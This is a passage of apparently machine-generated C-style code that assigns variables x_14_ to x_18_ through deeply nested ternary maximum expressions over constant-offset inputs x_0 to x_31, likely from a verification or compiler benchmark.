(8.0 + x_23))? ((2.0 + x_17) > (7.0 + x_20)? (2.0 + x_17) : (7.0 + x_20)) : ((20.0 + x_22) > (8.0 + x_23)? (20.0 + x_22) : (8.0 + x_23))) : (((2.0 + x_24) > (19.0 + x_25)? (2.0 + x_24) : (19.0 + x_25)) > ((12.0 + x_27) > (11.0 + x_29)? (12.0 + x_27) : (11.0 + x_29))? ((2.0 + x_24) > (19.0 + x_25)? (2.0 + x_24) : (19.0 + x_25)) : ((12.0 + x_27) > (11.0 + x_29)? (12.0 + x_27) : (11.0 + x_29)))));
x_14_ = (((((11.0 + x_1) > (18.0 + x_5)? (11.0 + x_1) : (18.0 + x_5)) > ((6.0 + x_6) > (18.0 + x_7)? (6.0 + x_6) : (18.0 + x_7))? ((11.0 + x_1) > (18.0 + x_5)? (11.0 + x_1) : (18.0 + x_5)) : ((6.0 + x_6) > (18.0 + x_7)? (6.0 + x_6) : (18.0 + x_7))) > (((6.0 + x_9) > (8.0 + x_10)? (6.0 + x_9) : (8.0 + x_10)) > ((18.0 + x_11) > (2.0 + x_12)? (18.0 + x_11) : (2.0 + x_12))? ((6.0 + x_9) > (8.0 + x_10)? (6.0 + x_9) : (8.0 + x_10)) : ((18.0 + x_11) > (2.0 + x_12)? (18.0 + x_11) : (2.0 + x_12)))? (((11.0 + x_1) > (18.0 + x_5)? (11.0 + x_1) : (18.0 + x_5)) > ((6.0 + x_6) > (18.0 + x_7)? (6.0 + x_6) : (18.0 + x_7))? ((11.0 + x_1) > (18.0 + x_5)? (11.0 + x_1) : (18.0 + x_5)) : ((6.0 + x_6) > (18.0 + x_7)? (6.0 + x_6) : (18.0 + x_7))) : (((6.0 + x_9) > (8.0 + x_10)? (6.0 + x_9) : (8.0 + x_10)) > ((18.0 + x_11) > (2.0 + x_12)? (18.0 + x_11) : (2.0 + x_12))? ((6.0 + x_9) > (8.0 + x_10)? (6.0 + x_9) : (8.0 + x_10)) : ((18.0 + x_11) > (2.0 + x_12)? (18.0 + x_11) : (2.0 + x_12)))) > ((((7.0 + x_16) > (8.0 + x_17)? (7.0 + x_16) : (8.0 + x_17)) > ((13.0 + x_18) > (18.0 + x_21)? (13.0 + x_18) : (18.0 + x_21))? ((7.0 + x_16) > (8.0 + x_17)? (7.0 + x_16) : (8.0 + x_17)) : ((13.0 + x_18) > (18.0 + x_21)? (13.0 + x_18) : (18.0 + x_21))) > (((17.0 + x_22) > (12.0 + x_23)? (17.0 + x_22) : (12.0 + x_23)) > ((8.0 + x_24) > (19.0 + x_25)? (8.0 + x_24) : (19.0 + x_25))? ((17.0 + x_22) > (12.0 + x_23)? (17.0 + x_22) : (12.0 + x_23)) : ((8.0 + x_24) > (19.0 + x_25)? (8.0 + x_24) : (19.0 + x_25)))? (((7.0 + x_16) > (8.0 + x_17)? (7.0 + x_16) : (8.0 + x_17)) > ((13.0 + x_18) > (18.0 + x_21)? (13.0 + x_18) : (18.0 + x_21))? ((7.0 + x_16) > (8.0 + x_17)? (7.0 + x_16) : (8.0 + x_17)) : ((13.0 + x_18) > (18.0 + x_21)? (13.0 + x_18) : (18.0 + x_21))) : (((17.0 + x_22) > (12.0 + x_23)? (17.0 + x_22) : (12.0 + x_23)) > ((8.0 + x_24) > (19.0 + x_25)? (8.0 + x_24) : (19.0 + x_25))? ((17.0 + x_22) > (12.0 + x_23)? (17.0 + x_22) : (12.0 + x_23)) : ((8.0 + x_24) > (19.0 + x_25)? (8.0 + x_24) : (19.0 + x_25))))? ((((11.0 + x_1) > (18.0 + x_5)? (11.0 + x_1) : (18.0 + x_5)) > ((6.0 + x_6) > (18.0 + x_7)? (6.0 + x_6) : (18.0 + x_7))? ((11.0 + x_1) > (18.0 + x_5)? (11.0 + x_1) : (18.0 + x_5)) : ((6.0 + x_6) > (18.0 + x_7)? (6.0 + x_6) : (18.0 + x_7))) > (((6.0 + x_9) > (8.0 + x_10)? (6.0 + x_9) : (8.0 + x_10)) > ((18.0 + x_11) > (2.0 + x_12)? (18.0 + x_11) : (2.0 + x_12))? ((6.0 + x_9) > (8.0 + x_10)? (6.0 + x_9) : (8.0 + x_10)) : ((18.0 + x_11) > (2.0 + x_12)? (18.0 + x_11) : (2.0 + x_12)))? (((11.0 + x_1) > (18.0 + x_5)? (11.0 + x_1) : (18.0 + x_5)) > ((6.0 + x_6) > (18.0 + x_7)? (6.0 + x_6) : (18.0 + x_7))? ((11.0 + x_1) > (18.0 + x_5)? (11.0 + x_1) : (18.0 + x_5)) : ((6.0 + x_6) > (18.0 + x_7)? (6.0 + x_6) : (18.0 + x_7))) : (((6.0 + x_9) > (8.0 + x_10)? (6.0 + x_9) : (8.0 + x_10)) > ((18.0 + x_11) > (2.0 + x_12)? (18.0 + x_11) : (2.0 + x_12))? ((6.0 + x_9) > (8.0 + x_10)? (6.0 + x_9) : (8.0 + x_10)) : ((18.0 + x_11) > (2.0 + x_12)? (18.0 + x_11) : (2.0 + x_12)))) : ((((7.0 + x_16) > (8.0 + x_17)? (7.0 + x_16) : (8.0 + x_17)) > ((13.0 + x_18) > (18.0 + x_21)? (13.0 + x_18) : (18.0 + x_21))? ((7.0 + x_16) > (8.0 + x_17)? (7.0 + x_16) : (8.0 + x_17)) : ((13.0 + x_18) > (18.0 + x_21)? (13.0 + x_18) : (18.0 + x_21))) > (((17.0 + x_22) > (12.0 + x_23)? (17.0 + x_22) : (12.0 + x_23)) > ((8.0 + x_24) > (19.0 + x_25)? (8.0 + x_24) : (19.0 + x_25))? ((17.0 + x_22) > (12.0 + x_23)? (17.0 + x_22) : (12.0 + x_23)) : ((8.0 + x_24) > (19.0 + x_25)? (8.0 + x_24) : (19.0 + x_25)))? (((7.0 + x_16) > (8.0 + x_17)? (7.0 + x_16) : (8.0 + x_17)) > ((13.0 + x_18) > (18.0 + x_21)? (13.0 + x_18) : (18.0 + x_21))? ((7.0 + x_16) > (8.0 + x_17)? (7.0 + x_16) : (8.0 + x_17)) : ((13.0 + x_18) > (18.0 + x_21)? (13.0 + x_18) : (18.0 + x_21))) : (((17.0 + x_22) > (12.0 + x_23)? (17.0 + x_22) : (12.0 + x_23)) > ((8.0 + x_24) > (19.0 + x_25)? (8.0 + x_24) : (19.0 + x_25))? ((17.0 + x_22) > (12.0 + x_23)? (17.0 + x_22) : (12.0 + x_23)) : ((8.0 + x_24) > (19.0 + x_25)? (8.0 + x_24) : (19.0 + x_25)))));
x_15_ = (((((2.0 + x_0) > (1.0 + x_2)? (2.0 + x_0) : (1.0 + x_2)) > ((20.0 + x_6) > (18.0 + x_7)? (20.0 + x_6) : (18.0 + x_7))? ((2.0 + x_0) > (1.0 + x_2)? (2.0 + x_0) : (1.0 + x_2)) : ((20.0 + x_6) > (18.0 + x_7)? (20.0 + x_6) : (18.0 + x_7))) > (((18.0 + x_8) > (1.0 + x_9)? (18.0 + x_8) : (1.0 + x_9)) > ((5.0 + x_10) > (13.0 + x_11)? (5.0 + x_10) : (13.0 + x_11))? ((18.0 + x_8) > (1.0 + x_9)? (18.0 + x_8) : (1.0 + x_9)) : ((5.0 + x_10) > (13.0 + x_11)? (5.0 + x_10) : (13.0 + x_11)))? (((2.0 + x_0) > (1.0 + x_2)? (2.0 + x_0) : (1.0 + x_2)) > ((20.0 + x_6) > (18.0 + x_7)? (20.0 + x_6) : (18.0 + x_7))? ((2.0 + x_0) > (1.0 + x_2)? (2.0 + x_0) : (1.0 + x_2)) : ((20.0 + x_6) > (18.0 + x_7)? (20.0 + x_6) : (18.0 + x_7))) : (((18.0 + x_8) > (1.0 + x_9)? (18.0 + x_8) : (1.0 + x_9)) > ((5.0 + x_10) > (13.0 + x_11)? (5.0 + x_10) : (13.0 + x_11))? ((18.0 + x_8) > (1.0 + x_9)? (18.0 + x_8) : (1.0 + x_9)) : ((5.0 + x_10) > (13.0 + x_11)? (5.0 + x_10) : (13.0 + x_11)))) > ((((13.0 + x_13) > (20.0 + x_14)? (13.0 + x_13) : (20.0 + x_14)) > ((19.0 + x_17) > (18.0 + x_19)? (19.0 + x_17) : (18.0 + x_19))? ((13.0 + x_13) > (20.0 + x_14)? (13.0 + x_13) : (20.0 + x_14)) : ((19.0 + x_17) > (18.0 + x_19)? (19.0 + x_17) : (18.0 + x_19))) > (((13.0 + x_22) > (20.0 + x_24)? (13.0 + x_22) : (20.0 + x_24)) > ((14.0 + x_25) > (10.0 + x_31)? (14.0 + x_25) : (10.0 + x_31))? ((13.0 + x_22) > (20.0 + x_24)? (13.0 + x_22) : (20.0 + x_24)) : ((14.0 + x_25) > (10.0 + x_31)? (14.0 + x_25) : (10.0 + x_31)))? (((13.0 + x_13) > (20.0 + x_14)? (13.0 + x_13) : (20.0 + x_14)) > ((19.0 + x_17) > (18.0 + x_19)? (19.0 + x_17) : (18.0 + x_19))? ((13.0 + x_13) > (20.0 + x_14)? (13.0 + x_13) : (20.0 + x_14)) : ((19.0 + x_17) > (18.0 + x_19)? (19.0 + x_17) : (18.0 + x_19))) : (((13.0 + x_22) > (20.0 + x_24)? (13.0 + x_22) : (20.0 + x_24)) > ((14.0 + x_25) > (10.0 + x_31)? (14.0 + x_25) : (10.0 + x_31))? ((13.0 + x_22) > (20.0 + x_24)? (13.0 + x_22) : (20.0 + x_24)) : ((14.0 + x_25) > (10.0 + x_31)? (14.0 + x_25) : (10.0 + x_31))))? ((((2.0 + x_0) > (1.0 + x_2)? (2.0 + x_0) : (1.0 + x_2)) > ((20.0 + x_6) > (18.0 + x_7)? (20.0 + x_6) : (18.0 + x_7))? ((2.0 + x_0) > (1.0 + x_2)? (2.0 + x_0) : (1.0 + x_2)) : ((20.0 + x_6) > (18.0 + x_7)? (20.0 + x_6) : (18.0 + x_7))) > (((18.0 + x_8) > (1.0 + x_9)? (18.0 + x_8) : (1.0 + x_9)) > ((5.0 + x_10) > (13.0 + x_11)? (5.0 + x_10) : (13.0 + x_11))? ((18.0 + x_8) > (1.0 + x_9)? (18.0 + x_8) : (1.0 + x_9)) : ((5.0 + x_10) > (13.0 + x_11)? (5.0 + x_10) : (13.0 + x_11)))? (((2.0 + x_0) > (1.0 + x_2)? (2.0 + x_0) : (1.0 + x_2)) > ((20.0 + x_6) > (18.0 + x_7)? (20.0 + x_6) : (18.0 + x_7))? ((2.0 + x_0) > (1.0 + x_2)? (2.0 + x_0) : (1.0 + x_2)) : ((20.0 + x_6) > (18.0 + x_7)? (20.0 + x_6) : (18.0 + x_7))) : (((18.0 + x_8) > (1.0 + x_9)? (18.0 + x_8) : (1.0 + x_9)) > ((5.0 + x_10) > (13.0 + x_11)? (5.0 + x_10) : (13.0 + x_11))? ((18.0 + x_8) > (1.0 + x_9)? (18.0 + x_8) : (1.0 + x_9)) : ((5.0 + x_10) > (13.0 + x_11)? (5.0 + x_10) : (13.0 + x_11)))) : ((((13.0 + x_13) > (20.0 + x_14)? (13.0 + x_13) : (20.0 + x_14)) > ((19.0 + x_17) > (18.0 + x_19)? (19.0 + x_17) : (18.0 + x_19))? ((13.0 + x_13) > (20.0 + x_14)? (13.0 + x_13) : (20.0 + x_14)) : ((19.0 + x_17) > (18.0 + x_19)? (19.0 + x_17) : (18.0 + x_19))) > (((13.0 + x_22) > (20.0 + x_24)? (13.0 + x_22) : (20.0 + x_24)) > ((14.0 + x_25) > (10.0 + x_31)? (14.0 + x_25) : (10.0 + x_31))? ((13.0 + x_22) > (20.0 + x_24)? (13.0 + x_22) : (20.0 + x_24)) : ((14.0 + x_25) > (10.0 + x_31)? (14.0 + x_25) : (10.0 + x_31)))? (((13.0 + x_13) > (20.0 + x_14)? (13.0 + x_13) : (20.0 + x_14)) > ((19.0 + x_17) > (18.0 + x_19)? (19.0 + x_17) : (18.0 + x_19))? ((13.0 + x_13) > (20.0 + x_14)? (13.0 + x_13) : (20.0 + x_14)) : ((19.0 + x_17) > (18.0 + x_19)? (19.0 + x_17) : (18.0 + x_19))) : (((13.0 + x_22) > (20.0 + x_24)? (13.0 + x_22) : (20.0 + x_24)) > ((14.0 + x_25) > (10.0 + x_31)? (14.0 + x_25) : (10.0 + x_31))? ((13.0 + x_22) > (20.0 + x_24)? (13.0 + x_22) : (20.0 + x_24)) : ((14.0 + x_25) > (10.0 + x_31)? (14.0 + x_25) : (10.0 + x_31)))));
x_16_ = (((((4.0 + x_0) > (5.0 + x_2)? (4.0 + x_0) : (5.0 + x_2)) > ((11.0 + x_3) > (5.0 + x_10)? (11.0 + x_3) : (5.0 + x_10))? ((4.0 + x_0) > (5.0 + x_2)? (4.0 + x_0) : (5.0 + x_2)) : ((11.0 + x_3) > (5.0 + x_10)? (11.0 + x_3) : (5.0 + x_10))) > (((8.0 + x_11) > (5.0 + x_12)? (8.0 + x_11) : (5.0 + x_12)) > ((13.0 + x_13) > (10.0 + x_15)? (13.0 + x_13) : (10.0 + x_15))? ((8.0 + x_11) > (5.0 + x_12)? (8.0 + x_11) : (5.0 + x_12)) : ((13.0 + x_13) > (10.0 + x_15)? (13.0 + x_13) : (10.0 + x_15)))? (((4.0 + x_0) > (5.0 + x_2)? (4.0 + x_0) : (5.0 + x_2)) > ((11.0 + x_3) > (5.0 + x_10)? (11.0 + x_3) : (5.0 + x_10))? ((4.0 + x_0) > (5.0 + x_2)? (4.0 + x_0) : (5.0 + x_2)) : ((11.0 + x_3) > (5.0 + x_10)? (11.0 + x_3) : (5.0 + x_10))) : (((8.0 + x_11) > (5.0 + x_12)? (8.0 + x_11) : (5.0 + x_12)) > ((13.0 + x_13) > (10.0 + x_15)? (13.0 + x_13) : (10.0 + x_15))? ((8.0 + x_11) > (5.0 + x_12)? (8.0 + x_11) : (5.0 + x_12)) : ((13.0 + x_13) > (10.0 + x_15)? (13.0 + x_13) : (10.0 + x_15)))) > ((((1.0 + x_18) > (6.0 + x_19)? (1.0 + x_18) : (6.0 + x_19)) > ((14.0 + x_21) > (10.0 + x_22)? (14.0 + x_21) : (10.0 + x_22))? ((1.0 + x_18) > (6.0 + x_19)? (1.0 + x_18) : (6.0 + x_19)) : ((14.0 + x_21) > (10.0 + x_22)? (14.0 + x_21) : (10.0 + x_22))) > (((6.0 + x_25) > (2.0 + x_28)? (6.0 + x_25) : (2.0 + x_28)) > ((3.0 + x_29) > (14.0 + x_31)? (3.0 + x_29) : (14.0 + x_31))? ((6.0 + x_25) > (2.0 + x_28)? (6.0 + x_25) : (2.0 + x_28)) : ((3.0 + x_29) > (14.0 + x_31)? (3.0 + x_29) : (14.0 + x_31)))? (((1.0 + x_18) > (6.0 + x_19)? (1.0 + x_18) : (6.0 + x_19)) > ((14.0 + x_21) > (10.0 + x_22)? (14.0 + x_21) : (10.0 + x_22))? ((1.0 + x_18) > (6.0 + x_19)? (1.0 + x_18) : (6.0 + x_19)) : ((14.0 + x_21) > (10.0 + x_22)? (14.0 + x_21) : (10.0 + x_22))) : (((6.0 + x_25) > (2.0 + x_28)? (6.0 + x_25) : (2.0 + x_28)) > ((3.0 + x_29) > (14.0 + x_31)? (3.0 + x_29) : (14.0 + x_31))? ((6.0 + x_25) > (2.0 + x_28)? (6.0 + x_25) : (2.0 + x_28)) : ((3.0 + x_29) > (14.0 + x_31)? (3.0 + x_29) : (14.0 + x_31))))? ((((4.0 + x_0) > (5.0 + x_2)? (4.0 + x_0) : (5.0 + x_2)) > ((11.0 + x_3) > (5.0 + x_10)? (11.0 + x_3) : (5.0 + x_10))? ((4.0 + x_0) > (5.0 + x_2)? (4.0 + x_0) : (5.0 + x_2)) : ((11.0 + x_3) > (5.0 + x_10)? (11.0 + x_3) : (5.0 + x_10))) > (((8.0 + x_11) > (5.0 + x_12)? (8.0 + x_11) : (5.0 + x_12)) > ((13.0 + x_13) > (10.0 + x_15)? (13.0 + x_13) : (10.0 + x_15))? ((8.0 + x_11) > (5.0 + x_12)? (8.0 + x_11) : (5.0 + x_12)) : ((13.0 + x_13) > (10.0 + x_15)? (13.0 + x_13) : (10.0 + x_15)))? (((4.0 + x_0) > (5.0 + x_2)? (4.0 + x_0) : (5.0 + x_2)) > ((11.0 + x_3) > (5.0 + x_10)? (11.0 + x_3) : (5.0 + x_10))? ((4.0 + x_0) > (5.0 + x_2)? (4.0 + x_0) : (5.0 + x_2)) : ((11.0 + x_3) > (5.0 + x_10)? (11.0 + x_3) : (5.0 + x_10))) : (((8.0 + x_11) > (5.0 + x_12)? (8.0 + x_11) : (5.0 + x_12)) > ((13.0 + x_13) > (10.0 + x_15)? (13.0 + x_13) : (10.0 + x_15))? ((8.0 + x_11) > (5.0 + x_12)? (8.0 + x_11) : (5.0 + x_12)) : ((13.0 + x_13) > (10.0 + x_15)? (13.0 + x_13) : (10.0 + x_15)))) : ((((1.0 + x_18) > (6.0 + x_19)? (1.0 + x_18) : (6.0 + x_19)) > ((14.0 + x_21) > (10.0 + x_22)? (14.0 + x_21) : (10.0 + x_22))? ((1.0 + x_18) > (6.0 + x_19)? (1.0 + x_18) : (6.0 + x_19)) : ((14.0 + x_21) > (10.0 + x_22)? (14.0 + x_21) : (10.0 + x_22))) > (((6.0 + x_25) > (2.0 + x_28)? (6.0 + x_25) : (2.0 + x_28)) > ((3.0 + x_29) > (14.0 + x_31)? (3.0 + x_29) : (14.0 + x_31))? ((6.0 + x_25) > (2.0 + x_28)? (6.0 + x_25) : (2.0 + x_28)) : ((3.0 + x_29) > (14.0 + x_31)? (3.0 + x_29) : (14.0 + x_31)))? (((1.0 + x_18) > (6.0 + x_19)? (1.0 + x_18) : (6.0 + x_19)) > ((14.0 + x_21) > (10.0 + x_22)? (14.0 + x_21) : (10.0 + x_22))? ((1.0 + x_18) > (6.0 + x_19)? (1.0 + x_18) : (6.0 + x_19)) : ((14.0 + x_21) > (10.0 + x_22)? (14.0 + x_21) : (10.0 + x_22))) : (((6.0 + x_25) > (2.0 + x_28)? (6.0 + x_25) : (2.0 + x_28)) > ((3.0 + x_29) > (14.0 + x_31)? (3.0 + x_29) : (14.0 + x_31))? ((6.0 + x_25) > (2.0 + x_28)? (6.0 + x_25) : (2.0 + x_28)) : ((3.0 + x_29) > (14.0 + x_31)? (3.0 + x_29) : (14.0 + x_31)))));
x_17_ = (((((15.0 + x_0) > (13.0 + x_4)? (15.0 + x_0) : (13.0 + x_4)) > ((14.0 + x_5) > (20.0 + x_6)? (14.0 + x_5) : (20.0 + x_6))? ((15.0 + x_0) > (13.0 + x_4)? (15.0 + x_0) : (13.0 + x_4)) : ((14.0 + x_5) > (20.0 + x_6)? (14.0 + x_5) : (20.0 + x_6))) > (((14.0 + x_7) > (5.0 + x_8)? (14.0 + x_7) : (5.0 + x_8)) > ((1.0 + x_9) > (14.0 + x_10)? (1.0 + x_9) : (14.0 + x_10))? ((14.0 + x_7) > (5.0 + x_8)? (14.0 + x_7) : (5.0 + x_8)) : ((1.0 + x_9) > (14.0 + x_10)? (1.0 + x_9) : (14.0 + x_10)))? (((15.0 + x_0) > (13.0 + x_4)? (15.0 + x_0) : (13.0 + x_4)) > ((14.0 + x_5) > (20.0 + x_6)? (14.0 + x_5) : (20.0 + x_6))? ((15.0 + x_0) > (13.0 + x_4)? (15.0 + x_0) : (13.0 + x_4)) : ((14.0 + x_5) > (20.0 + x_6)? (14.0 + x_5) : (20.0 + x_6))) : (((14.0 + x_7) > (5.0 + x_8)? (14.0 + x_7) : (5.0 + x_8)) > ((1.0 + x_9) > (14.0 + x_10)? (1.0 + x_9) : (14.0 + x_10))? ((14.0 + x_7) > (5.0 + x_8)? (14.0 + x_7) : (5.0 + x_8)) : ((1.0 + x_9) > (14.0 + x_10)? (1.0 + x_9) : (14.0 + x_10)))) > ((((4.0 + x_17) > (18.0 + x_19)? (4.0 + x_17) : (18.0 + x_19)) > ((5.0 + x_21) > (12.0 + x_22)? (5.0 + x_21) : (12.0 + x_22))? ((4.0 + x_17) > (18.0 + x_19)? (4.0 + x_17) : (18.0 + x_19)) : ((5.0 + x_21) > (12.0 + x_22)? (5.0 + x_21) : (12.0 + x_22))) > (((11.0 + x_23) > (2.0 + x_25)? (11.0 + x_23) : (2.0 + x_25)) > ((10.0 + x_27) > (20.0 + x_29)? (10.0 + x_27) : (20.0 + x_29))? ((11.0 + x_23) > (2.0 + x_25)? (11.0 + x_23) : (2.0 + x_25)) : ((10.0 + x_27) > (20.0 + x_29)? (10.0 + x_27) : (20.0 + x_29)))? (((4.0 + x_17) > (18.0 + x_19)? (4.0 + x_17) : (18.0 + x_19)) > ((5.0 + x_21) > (12.0 + x_22)? (5.0 + x_21) : (12.0 + x_22))? ((4.0 + x_17) > (18.0 + x_19)? (4.0 + x_17) : (18.0 + x_19)) : ((5.0 + x_21) > (12.0 + x_22)? (5.0 + x_21) : (12.0 + x_22))) : (((11.0 + x_23) > (2.0 + x_25)? (11.0 + x_23) : (2.0 + x_25)) > ((10.0 + x_27) > (20.0 + x_29)? (10.0 + x_27) : (20.0 + x_29))? ((11.0 + x_23) > (2.0 + x_25)? (11.0 + x_23) : (2.0 + x_25)) : ((10.0 + x_27) > (20.0 + x_29)? (10.0 + x_27) : (20.0 + x_29))))? ((((15.0 + x_0) > (13.0 + x_4)? (15.0 + x_0) : (13.0 + x_4)) > ((14.0 + x_5) > (20.0 + x_6)? (14.0 + x_5) : (20.0 + x_6))? ((15.0 + x_0) > (13.0 + x_4)? (15.0 + x_0) : (13.0 + x_4)) : ((14.0 + x_5) > (20.0 + x_6)? (14.0 + x_5) : (20.0 + x_6))) > (((14.0 + x_7) > (5.0 + x_8)? (14.0 + x_7) : (5.0 + x_8)) > ((1.0 + x_9) > (14.0 + x_10)? (1.0 + x_9) : (14.0 + x_10))? ((14.0 + x_7) > (5.0 + x_8)? (14.0 + x_7) : (5.0 + x_8)) : ((1.0 + x_9) > (14.0 + x_10)? (1.0 + x_9) : (14.0 + x_10)))? (((15.0 + x_0) > (13.0 + x_4)? (15.0 + x_0) : (13.0 + x_4)) > ((14.0 + x_5) > (20.0 + x_6)? (14.0 + x_5) : (20.0 + x_6))? ((15.0 + x_0) > (13.0 + x_4)? (15.0 + x_0) : (13.0 + x_4)) : ((14.0 + x_5) > (20.0 + x_6)? (14.0 + x_5) : (20.0 + x_6))) : (((14.0 + x_7) > (5.0 + x_8)? (14.0 + x_7) : (5.0 + x_8)) > ((1.0 + x_9) > (14.0 + x_10)? (1.0 + x_9) : (14.0 + x_10))? ((14.0 + x_7) > (5.0 + x_8)? (14.0 + x_7) : (5.0 + x_8)) : ((1.0 + x_9) > (14.0 + x_10)? (1.0 + x_9) : (14.0 + x_10)))) : ((((4.0 + x_17) > (18.0 + x_19)? (4.0 + x_17) : (18.0 + x_19)) > ((5.0 + x_21) > (12.0 + x_22)? (5.0 + x_21) : (12.0 + x_22))? ((4.0 + x_17) > (18.0 + x_19)? (4.0 + x_17) : (18.0 + x_19)) : ((5.0 + x_21) > (12.0 + x_22)? (5.0 + x_21) : (12.0 + x_22))) > (((11.0 + x_23) > (2.0 + x_25)? (11.0 + x_23) : (2.0 + x_25)) > ((10.0 + x_27) > (20.0 + x_29)? (10.0 + x_27) : (20.0 + x_29))? ((11.0 + x_23) > (2.0 + x_25)? (11.0 + x_23) : (2.0 + x_25)) : ((10.0 + x_27) > (20.0 + x_29)? (10.0 + x_27) : (20.0 + x_29)))? (((4.0 + x_17) > (18.0 + x_19)? (4.0 + x_17) : (18.0 + x_19)) > ((5.0 + x_21) > (12.0 + x_22)? (5.0 + x_21) : (12.0 + x_22))? ((4.0 + x_17) > (18.0 + x_19)? (4.0 + x_17) : (18.0 + x_19)) : ((5.0 + x_21) > (12.0 + x_22)? (5.0 + x_21) : (12.0 + x_22))) : (((11.0 + x_23) > (2.0 + x_25)? (11.0 + x_23) : (2.0 + x_25)) > ((10.0 + x_27) > (20.0 + x_29)? (10.0 + x_27) : (20.0 + x_29))? ((11.0 + x_23) > (2.0 + x_25)? (11.0 + x_23) : (2.0 + x_25)) : ((10.0 + x_27) > (20.0 + x_29)? (10.0 + x_27) : (20.0 + x_29)))));
x_18_ = (((((14.0 + x_0) > (7.0 + x_1)? (14.0 + x_0) : (7.0 + x_1)) > ((3.0 + x_2) > (7.0 + x_3)? (3.0 + x_2) : (7.0 + x_3))? ((14.0 + x_0) > (7.0 + x_1)? (14.0 + x_0) : (7.0 + x_1)) : ((3.0 + x_2) > (7.0 + x_3)? (3.0 + x_2) : (7.0 + x_3))) > (((8.0 + x_8) > (2.0 + x_10)? (8.0 + x_8) : (2.0 + x_10)) > ((10.0 + x_11) > (3.0 + x_12)? (10.0 + x_11) : (3.0 + x_12))? ((8.0 + x_8) > (2.0 + x_10)? (8.0 + x_8) : (2.0 + x_10)) : ((10.0 + x_11) > (3.0 + x_12)? (10.0 + x_11) : (3.0 + x_12)))? (((14.0 + x_0) > (7.0 + x_1)? (14.0 + x_0) : (7.0 + x_1)) > ((3.0 + x_2) > (7.0 + x_3)? (3.0 + x_2) : (7.0 + x_3))? ((14.0 + x_0) > (7.0 + x_1)? (14.0 + x_0) : (7.0 + x_1)) : ((3.0 + x_2) > (7.0 + x_3)? (3.0 + x_2) : (7.0 + x_3))) : (((8.0 + x_8) > (2.0 + x_10)? (8.0 + x_8) : (2.0 + x_10)) > ((10.0 + x_11) > (3.0 + x_12)? (10.0 + x_11) : (3.0 + x_12))? ((8.0 + x_8) > (2.0 + x_10)? (8.0 + x_8) : (2.0 + x_10)) : ((10.0 + x_11) > (3.0 + x_12)? (10.0 + x_11) : (3.0 + x_12)))) > ((((2.0 + x_15) > (14.0 + x_19)? (2.0 + x_15) : (14.0 + x_19)) > ((19.0 + x_20) > (9.0 + x_22)? (19.0 + x_20) : (9.0 + x_22))? ((2.0 + x_15) > (14.0 + x_19)? (2.0 + x_15) : (14.0 + x_19)) : ((19.0 + x_20) > (9.0 + x_22)? (19.0 + x_20) : (9.0 + x_22))) > (((10.0 + x_23) > (2.0 + x_25)? (10.0 + x_23) : (2.0 + x_25)) > ((14.0 + x_27) > (5.0 + x_28)? (14.0 + x_27) : (5.0 + x_28))? ((10.0 + x_23) > (2.0 + x_25)? (10.0 + x_23) : (2.0 + x_25)) : ((14.0 + x_27) > (5.0 + x_28)? (14.0 + x_27) : (5.0 + x_28)))? (((2.0 + x_15) > (14.0 + x_19)? (2.0 + x_15) : (14.0 + x_19)) > ((19.0 + x_20) > (9.0 + x_22)? (19.0 + x_20) : (9.0 + x_22))? ((2.0 + x_15) > (14.0 + x_19)? (2.0 + x_15) : (14.0 + x_19)) : ((19.0 + x_20) > (9.0 + x_22)? (19.0 + x_20) : (9.0 + x_22))) : (((10.0 + x_23) > (2.0 + x_25)? (10.0 + x_23) : (2.0 + x_25)) > ((14.0 + x_27) > (5.0 + x_28)? (14.0 + x_27) : (5.0 + x_28))? ((10.0 + x_23) > (2.0 + x_25)? (10.0 + x_23) : (2.0 + x_25)) : ((14.0 + x_27) > (5.0 + x_28)? (14.0 + x_27) : (5.0 + x_28))))? ((((14.0 + x_0) > (7.0 + x_1)? (14.0 + x_0) : (7.0 + x_1)) > ((3.0 + x_2) > (7.0 + x_3)? (3.0 + x_2) : (7.0 + x_3))? ((14.0 + x_0) > (7.0 + x_1)? (14.0 + x_0) : (7.0 + x_1)) : ((3.0 + x_2) > (7.0 + x_3)? (3.0 + x_2) : (7.0 + x_3))) > (((8.0 + x_8) > (2.0 + x_10)? (8.0 + x_8) : (2.0 + x_10)) > ((10.0 + x_11) > (3.0 + x_12)? (10.0 + x_11) : (3.0 + x_12))? ((8.0 + x_8) > (2.0 + x_10)? (8.0 + x_8) : (2.0 + x_10)) : ((10.0 + x_11) > (3.0 + x_12)? (10.0 + x_11) : (3.0 + x_12)))? (((14.0 + x_0) > (7.0 + x_1)? (14.0 + x_0) : (7.0 + x_1)) > ((3.0 + x_2) > (7.0 + x_3)? (3.0 + x_2) : (7.0 + x_3))? ((14.0 + x_0) > (7.0 + x_1)? (14.0 + x_0) : (7.0 + x_1)) : ((3.0 + x_2) > (7.0 + x_3)? (3.0 + x_2) : (7.0 + x_3))) : (((8.0 + x_8) > (2.0 + x_10)? (8.0 + x_8) : (2.0 + x_10)) > ((10.0 + x_11) > (3.0 + x_12)? (10.0 + x_11) : (3.0 + x_12))? ((8.0 + x_8) > (2.0 + x_10)? (8.0 + x_8) : (2.0 + x_10)) : ((10.0 + x_11) > (3.0 + x_12)? (10.0 + x_11) : (3.0 + x_12)))) : ((((2.0 + x_15) > (14.0 + x_19)? (2.0 + x_15) : (14.0 + x_19)) > ((19.0 + x_20) > (9.0 + x_22)? (19.0 + x_20) : (9.0 + x_22))? ((2.0 + x_15) > (14.0 + x_19)? (2.0 + x_15) : (14.0 + x_19)) : ((19.0 + x_20) > (9.0 + x_22)? (19.0 + x_20) : (9.0 + x_22))) > (((10.0 + x_23) > (2.0 + x_25)? (10.0 + x_23) : (2.0 + x_25)) > ((14.0 + x_27) > (5.0 + x_28)? (14.0 + x_27) : (5.0 + x_28))? ((10.0 + x_23) > (2.0 + x_25)? (10.0 + x_23) : (2.0 + x_25)) : ((14.0 + x_27) > (5.0 + x_28)? (14.0 + x_27) : (5.0 + x_28)))? (((2.0 + x_15) > (14.0 + x_19)? (2.0 + x_15) : (14.0 + x_19)) > ((19.0 + x_20) > (9.0 + x_22)? (19.0 + x_20) : (9.0 + x_22))? ((2.0 + x_15) > (14.0 + x_19)? (2.0 + x_15) : (14.0 + x_19)) : ((19.0 + x_20) > (9.0 + x_22)? (19.0 + x_20) : (9.0 + x_22))) : (((10.0 + x_23) > (2.0 + x_25)? (10.0 + x_23) : (2.0 + x_25)) > ((14.0 + x_27) > (5.0 + x_28)? (14.0 + x_27) : (5.0 + x_28))? ((10.0 + x_23) > (2.0 + x_25)? (10.0 + x_23) : (2.0 + x_25)) : ((14.0 + x_27) > (5.0 + x_28)? (14.0 + x_27) : (5.0 + x_28)))));
